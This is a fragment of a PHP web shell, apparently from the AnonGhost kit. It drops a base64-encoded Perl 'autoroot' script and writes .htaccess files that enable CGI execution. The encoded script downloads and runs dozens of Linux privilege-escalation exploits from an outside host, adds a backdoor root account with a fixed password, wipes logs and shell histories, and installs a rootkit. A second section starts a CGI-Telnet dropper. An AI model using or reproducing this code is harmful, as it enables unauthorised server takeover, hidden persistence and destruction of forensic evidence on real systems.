$shellw0rm = 'IyEvdXNyL2Jpbi9wZXJsDQpwcmludCAiIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSNcbiI7DQpwcmludCAifCAgICAgICAgICAgICAgfCBBdXRvcm9vdCBCeSBENHJrajFuIHwJICAgICAgICAgICAgfFxuIjsNCnByaW50ICJ8PT09PT09PT09PT09PT09PT09PT09PVsgdXNhZ2UgXT09PT09PT09PT09PT09PT09PT09PXxcbiI7DQpwcmludCAifCAgIHBlcmwgJDAgLXJvb3QgICAgKGZvciB1c2UgYXV0b3Jvb3QpICAgICAgICAgICAgICB8XG4iOw0KcHJpbnQgInwgICBwZXJsICQwIC1hZGQgICAgIChmb3IgYWRkIHVzZXIpICAgICAgICAgICAgICAgICAgfFxuIjsNCnByaW50ICJ8ICAgcGVybCAkMCAtcm0gICAgICAoZm9yIGRlbCBsb2dzKG5lZWQgcm9vdCkpICAgICAgIHxcbiI7DQpwcmludCAifCAgIHBlcmwgJDAgLWRlbCAgICAgKGZvciBkZWwgbG9jYWwgcm9vdCkgICAgICAgICAgICB8XG4iOw0KcHJpbnQgInwgICBwZXJsICQwIC1yb290a2l0IChmb3IgdXNlIHJvb3RraXQobmVlZCByb290KSkgICAgfFxuIjsNCnByaW50ICJ8PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PXxcbiI7DQpwcmludCAiIz09PT09PT09PT09PT09PT09PT09WyBhdXRvcm9vdCBdPT09PT09PT09PT09PT09PT09PSNcbiI7DQppZiAoJEFSR1ZbMF0gZXEgIi1yb290IikNCnsNCnN5c3RlbSgibWtkaXIgZGFya2ppbiIpOw0KY2hkaXIoImRhcmtqaW4iKTsNCnN5c3RlbSgidW5hbWUgLWEiKTsNCnN5c3RlbSgid2dldCAtTyBwaHAuaW5pIGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3QvcGhwLmluaS50eHQiKTsNCnN5c3RlbSgid2dldCAtTyBpbmkucGhwIGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3QvaW5pLnBocC50eHQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290LzIuNi4xOC0xNjQtMjAxMCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTE2NC0yMDEwIik7DQpzeXN0ZW0oIi4vMi42LjE4LTE2NC0yMDEwIik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC8yLjYuMTgtMTk0LjEtMjAxMCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTE5NC4xLTIwMTAiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMTk0LjEtMjAxMCIpOw0Kc3lzdGVtKCJpZCIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3QvMi42LjE4LTE5NC4yLTIwMTAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQuMi0yMDEwIik7DQpzeXN0ZW0oIi4vMi42LjE4LTE5NC4yLTIwMTAiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290LzItMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMS0yIik7DQpzeXN0ZW0oIi4vMi0xIik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC8xM3giKTsNCnN5c3RlbSgiY2htb2QgNzc3IDEzeCIpOw0Kc3lzdGVtKCIuLzEzeCIpOw0Kc3lzdGVtKCJpZCIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3QvMTQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE0Iik7DQpzeXN0ZW0oIi4vMTQiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290LzEwIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxMCIpOw0Kc3lzdGVtKCIuLzEwIik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC8wOTc3Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAwOTc3Iik7DQpzeXN0ZW0oIi4vMDk3NyIpOw0Kc3lzdGVtKCJpZCIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3QvMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDExIik7DQpzeXN0ZW0oIi4vMTEiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290LzE1MTUwIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNTE1MCIpOw0Kc3lzdGVtKCIuLzE1MTUwIik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC8xNTIwMCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMTUyMDAiKTsNCnN5c3RlbSgiLi8xNTIwMCIpOw0Kc3lzdGVtKCJpZCIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3QvMTYiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE2Iik7DQpzeXN0ZW0oIi4vMTYiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290LzE2LTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE2LTEiKTsNCnN5c3RlbSgiLi8xNi0xIik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC8xOCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMTgiKTsNCnN5c3RlbSgiLi8xOCIpOw0Kc3lzdGVtKCJpZCIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3QvMTgtNSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMTgtNSIpOw0Kc3lzdGVtKCIuLzE4LTUiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290LzItNi0zNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi02LTM3Iik7DQpzeXN0ZW0oIi4vMi02LTM3Iik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC8yLjYuMTdfMi42LjI0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTdfMi42LjI0Iik7DQpzeXN0ZW0oIi4vMi42LjE3XzIuNi4yNCIpOw0Kc3lzdGVtKCJpZCIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3QvMi42LjE4LTE5NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTE5NCIpOw0Kc3lzdGVtKCIuLzIuNi4xOC0xOTQiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290LzIuNi4xOC4xIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTguMSIpOw0Kc3lzdGVtKCIuLzIuNi4xOC4xIik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC8yLjYuMzMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zMyIpOw0Kc3lzdGVtKCIuLzIuNi4zMyIpOw0Kc3lzdGVtKCJpZCIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3QvMi42LjM3Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzciKTsNCnN5c3RlbSgiLi8yLjYuMzciKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290LzIuNi4zNy1yYzIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zNy1yYzIiKTsNCnN5c3RlbSgiLi8yLjYuMzctcmMyIik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC8zIik7DQpzeXN0ZW0oImNobW9kIDc3NyAzIik7DQpzeXN0ZW0oIi4vMyIpOw0Kc3lzdGVtKCJpZCIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3QvMzEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDMxIik7DQpzeXN0ZW0oIi4vMzEiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290LzM2LXJjMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMzYtcmMxIik7DQpzeXN0ZW0oIi4vMzYtcmMxIik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC80Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA0Iik7DQpzeXN0ZW0oIi4vNCIpOw0Kc3lzdGVtKCJpZCIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3QvNDQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDQ0Iik7DQpzeXN0ZW0oIi4vNDQiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290LzUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDUiKTsNCnN5c3RlbSgiLi81Iik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC83NyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNzciKTsNCnN5c3RlbSgiLi83NyIpOw0Kc3lzdGVtKCJpZCIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3QvODkiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDg5Iik7DQpzeXN0ZW0oIi4vODkiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290LzciKTsNCnN5c3RlbSgiY2htb2QgNzc3IDciKTsNCnN5c3RlbSgiLi83Iik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC83LTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDctMiIpOw0Kc3lzdGVtKCIuLzctMiIpOw0Kc3lzdGVtKCJpZCIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3QvN3giKTsNCnN5c3RlbSgiY2htb2QgNzc3IDd4Iik7DQpzeXN0ZW0oIi4vN3giKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290LzgiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDgiKTsNCnN5c3RlbSgiLi84Iik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC85Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA5Iik7DQpzeXN0ZW0oIi4vOSIpOw0Kc3lzdGVtKCJpZCIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3QvOTkiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDk5Iik7DQpzeXN0ZW0oIi4vOTkiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290L2EuYm9vdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgYS5ib290Iik7DQpzeXN0ZW0oIi4vYS5ib290Iik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC9hY2lkIik7DQpzeXN0ZW0oImNobW9kIDc3NyBhY2lkIik7DQpzeXN0ZW0oIi4vYWNpZCIpOw0Kc3lzdGVtKCJpZCIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3QvZXhwbG9pdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdCIpOw0Kc3lzdGVtKCIuLzE0Iik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC9mdWxsLW5lbHNvbiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZnVsbC1uZWxzb24iKTsNCnN5c3RlbSgiLi9mdWxsLW5lbHNvbiIpOw0Kc3lzdGVtKCJpZCIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3QvZ2F5cm9zIik7DQpzeXN0ZW0oImNobW9kIDc3NyBnYXlyb3MiKTsNCnN5c3RlbSgiLi9nYXlyb3MiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290L2tyYWQzMTMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGtyYWQzMTMiKTsNCnN5c3RlbSgiLi9rcmFkMzEzIik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oImNobW9kIDc3NyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oIi4vbG9jYWwtcm9vdC1leHBsb2l0LWdheXJvcyIpOw0Kc3lzdGVtKCJpZCIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3QvcHdua2VybmVsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBwd25rZXJuZWwiKTsNCnN5c3RlbSgiLi9wd25rZXJuZWwiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290L3Jvb3QxIik7DQpzeXN0ZW0oImNobW9kIDc3NyByb290MSIpOw0Kc3lzdGVtKCIuL3Jvb3QxIik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC92bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHZtc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCIuL3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCJpZCIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3QvdWJ1bnR1Iik7DQpzeXN0ZW0oImNobW9kIDc3NyB1YnVudHUiKTsNCnN5c3RlbSgiLi91YnVudHUiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290L3Ryb2xsZWQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHRyb2xsZWQiKTsNCnN5c3RlbSgiLi90cm9sbGVkIik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC90aXZvbGkiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHRpdm9saSIpOw0Kc3lzdGVtKCIuL3Rpdm9saSIpOw0Kc3lzdGVtKCJpZCIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3Qvc2VjLm91dCIpOw0Kc3lzdGVtKCJjaG1vZCA3Nzcgc2VjLm91dCIpOw0Kc3lzdGVtKCIuL3NlYy5vdXQiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290L3J1bngiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHJ1bngiKTsNCnN5c3RlbSgiLi9ydW54Iik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC9hLm91dCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgYS5vdXQiKTsNCnN5c3RlbSgiLi9hLm91dCIpOw0Kc3lzdGVtKCJpZCIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3Qvcm9vdC1rZXJuZWwiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHJvb3Qta2VybmVsIik7DQpzeXN0ZW0oIi4vcm9vdC1rZXJuZWwiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290LzIuNi4xOC0zNzEuMjAxMyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTM3MS4yMDEzIik7DQpzeXN0ZW0oIi4vMi42LjE4LTM3MS4yMDEzIik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC8yLjYuMzItMjAxMyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjMyLTIwMTMiKTsNCnN5c3RlbSgiLi8yLjYuMzItMjAxMyIpOw0Kc3lzdGVtKCJpZCIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3QvMi42LjMyLTA0Mi0yMDEyIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzItMDQyLTIwMTIiKTsNCnN5c3RlbSgiLi8yLjYuMzItMDQyLTIwMTIiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290LzIwMTEvMi02LTMyLTQ2LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDItNi0zMi00Ni0yMDExIik7DQpzeXN0ZW0oIi4vbG9jYWwtMi02LTMyLTQ2LTIwMTEiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290LzIwMTEvMi42LjE4LTI3NC0yMDExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgtMjc0LTIwMTEiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMjc0LTIwMTEiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290LzIwMTEvMi42LjE4LTYteDg2LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC02LXg4Ni0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTYteDg2LTIwMTEiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290LzIwMTEvMi42LjMzLTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zMy0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjMzLTIwMTEiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290LzIwMTEvMi42LjM0LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zNC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjM0LTIwMTEiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290LzIwMTEvMi42LjI4LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjI4LTIwMTEiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vYmxvb2RzZWN1cml0eS5vcmcvbG9jYWxyb290LzIwMTEvMi42LjM0LTIwMTFFeHBsb2l0MSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM0LTIwMTFFeHBsb2l0MSIpOw0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExRXhwbG9pdDEiKTsNCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgid2dldCBodHRwOi8vaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC8yMDExLzYuNC0yMDExIik7DQpzeXN0ZW0oImNobW9kIDc3NyA2LjQtMjAxMSIpOw0Kc3lzdGVtKCIuLzYuNC0yMDExIik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2Jsb29kc2VjdXJpdHkub3JnL2xvY2Fscm9vdC8yMDExL3oxZC0yMDExIik7DQpzeXN0ZW0oImNobW9kIDc3NyB6MWQtMjAxMSIpOw0Kc3lzdGVtKCIuL3oxZC0yMDExIik7DQpwcmludCAiIz1bK109PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1bK109I1xuIjsNCnByaW50ICJ8ICAgICAgICAgICAgIFRoYW5rcyBGb3IgVXNpbmcgaXQgICAgICAgICAgICAgICAgICB8XG4iOw0KcHJpbnQgInwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxcbiI7DQpwcmludCAifCAgICAgICBKb2luIHVzIG9uIGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZyAgICAgICAgfFxuIjsNCnByaW50ICIjPVsrXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXT0jXG4iOw0KfQ0KaWYgKCRBUkdWWzBdIGVxICItYWRkIikNCnsNCnByaW50ICJBZGQgVXNlciBSb290XG4iOw0KcHJpbnQgInVzZXIgOiBkNHJrajFuXG4iOw0Kc3lzdGVtICJhZGR1c2VyIC1nIDAgb3NjdXJpZGFkIC1HIHdoZWVsLHN5cyxiaW4sZGFlbW9uLGFkbSxkaXNrIC1kIC9zZjcgLXMgL2Jpbi9zaCI7DQpzeXN0ZW0gInBhc3N3ZCBibG9vZHNlYyI7DQpwcmludCAicGFzcyBpcyA6IGdlbmVzaXNcbiI7DQpwcmludCAiQWN0aXZhdGUgU1NIICBBY2NvdW50Li5cbiI7DQpzeXN0ZW0oIi9ldGMvcmMuZC9pbml0LmQvc3NoZCBzdGFydCIpOw0KcHJpbnQgIi4vRG9uZVxuIjsNCn0NCmlmICgkQVJHVlswXSBlcSAiLXJtIikNCnsNCnN5c3RlbSgicm0gLXJmIC90bXAvbG9ncyIpOw0Kc3lzdGVtKCJybSAtcmYgL3Jvb3QvLmtzaF9oaXN0b3J5Iik7DQpzeXN0ZW0oInJtIC1yZiAvcm9vdC8uYmFzaF9oaXN0b3J5Iik7DQpzeXN0ZW0oInJtIC1yZiAvcm9vdC8uYmFzaF9sb2dvdXQiKTsNCnN5c3RlbSgicm0gLXJmIC91c3IvbG9jYWwvYXBhY2hlL2xvZ3MiKTsNCnN5c3RlbSgicm0gLXJmIC91c3IvbG9jYWwvYXBhY2hlL2xvZyIpOw0Kc3lzdGVtKCJybSAtcmYgL3Zhci9hcGFjaGUvbG9ncyIpOw0Kc3lzdGVtKCJybSAtcmYgL3Zhci9hcGFjaGUvbG9nIik7DQpzeXN0ZW0oInJtIC1yZiAvdmFyL3J1bi91dG1wIik7DQpzeXN0ZW0oInJtIC1yZiAvdmFyL2xvZ3MiKTsNCnN5c3RlbSgicm0gLXJmIC92YXIvbG9nIik7DQpzeXN0ZW0oInJtIC1yZiAvdmFyL2FkbSIpOw0Kc3lzdGVtKCJybSAtcmYgL2V0Yy93dG1wIik7DQpzeXN0ZW0oInJtIC1yZiAvZXRjL3V0bXAiKTsNCg0KfQ0KaWYgKCRBUkdWWzBdIGVxICItZGVsIikNCnsNCnN5c3RlbSgicm0gLXJmIGRhcmtqaW4iKTsNCn0NCmlmICgkQVJHVlswXSBlcSAiLXJvb3RraXQiKQ0Kew0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ibG9vZHNlY3VyaXR5Lm9yZy9sb2NhbHJvb3Qvc2h2NS56aXAiKTsNCnN5c3RlbSgidW56aXAgc2h2NS56aXAiKTsNCmNoZGlyKCJzaHY1Iik7DQpzeXN0ZW0oImNobW9kIDQ3NTUgc2V0dXAiKTsNCnN5c3RlbSgiLi9zZXR1cCBENHJrajFuIDU1NTUiKTsNCn0=';
$chmoderr = fopen("lulZ/autoroot.pl" ,"w+");
$write = fwrite ($chmoderr ,base64_decode($shellw0rm));
if($write){
echo '<p>Script Autoroot is here ===> '.getcwd().'/lulZ/autoroot.pl</p>';
fclose($chmoderr);
chmod("lulZ/autoroot.pl",0755);


//Extracting htaccess to enable perl handler and type all depends on the server :D
$htaccess = 'T3B0aW9ucyBJbmNsdWRlcyBJbmNsdWRlc05PRVhFQyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KDQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5wbA0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAucGwNCg0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA==';
$lol = fopen("lulZ/.htaccess" ,"w+");
$dwrite = fwrite ($lol ,base64_decode($htaccess));
fclose($chmoderr);

echo '<p>Back Connect and go to this directory ====> cd '.getcwd().'/lulZ/</p>';
echo "<p>Autoroot Command : perl autoroot.pl</p>";

}
}

///////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////
##     CGI-Virusworm (C) ANONGHOST            ##
////////////////////////////////////////////////
 
 elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi4e')) { 
 echo "<center/><br/><b>
 +--==[ CGI-Telnet Version 1.4 ]==--+ 
 </b><br><br>";
 
 
mkdir('cgi4e', 0755);
chdir('cgi4e');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
$metin = "AddType application/x-httpd-cgi .izo
AddType application/x-httpd-cgi .izo

AddHandler cgi-script .izo
AddHandler cgi-script .izo";    
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
